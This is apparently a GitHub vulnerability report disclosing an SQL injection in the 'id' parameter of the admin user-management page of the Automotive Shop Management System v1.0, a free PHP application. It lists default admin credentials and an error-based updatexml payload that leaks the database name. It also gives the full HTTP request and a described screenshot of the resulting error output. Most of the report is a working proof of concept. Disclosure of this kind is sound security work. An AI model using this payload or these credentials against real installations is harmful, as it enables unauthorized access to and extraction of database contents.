

main

...

bug_report / vendors / oretnom23 / automotive-shop-management-system / SQLi-1.md



acvxd Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.21 KB

...

Automotive Shop Management System v1.0 by oretnom23 has SQL injection

BUG_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /asms/admin/?page=user/manage_user&id=

Vulnerability location: /asms/admin/?page=user/manage_user&id=, id

dbname =asms_db,length=7

[+] Payload: /asms/admin/?

page=user/manage_user&id=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /asms/admin/?page=user/manage_user&id=3%27%20and%20updatexml(1,concat(0x7e,(select
Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm51blclp48r057; dou_member_id=1; dou_member_code=3a2d7
Connection: close

The screenshot shows a web browser window with a URL bar containing a malicious payload: `192.168.1.88/asms/admin/?page=user/manage_user&id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)---+`. The browser's developer tools are open, displaying a fatal error in the console. The error message is: **Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~asms_db~' in C:\xampp\htdocs\asms\admin\user\manage_user.php:3**. The stack trace shows the error occurred in `\user\manage_user.php(3): mysqli->query('SELECT * FROM u...')` on line 3. The web application's interface is visible in the background, showing a sidebar with navigation links like Dashboard, Product List, Inventory, Transactions, and Maintenance. The top of the page displays 'Automotive Shop Management System - Admin' and the user 'Administrator Admin'.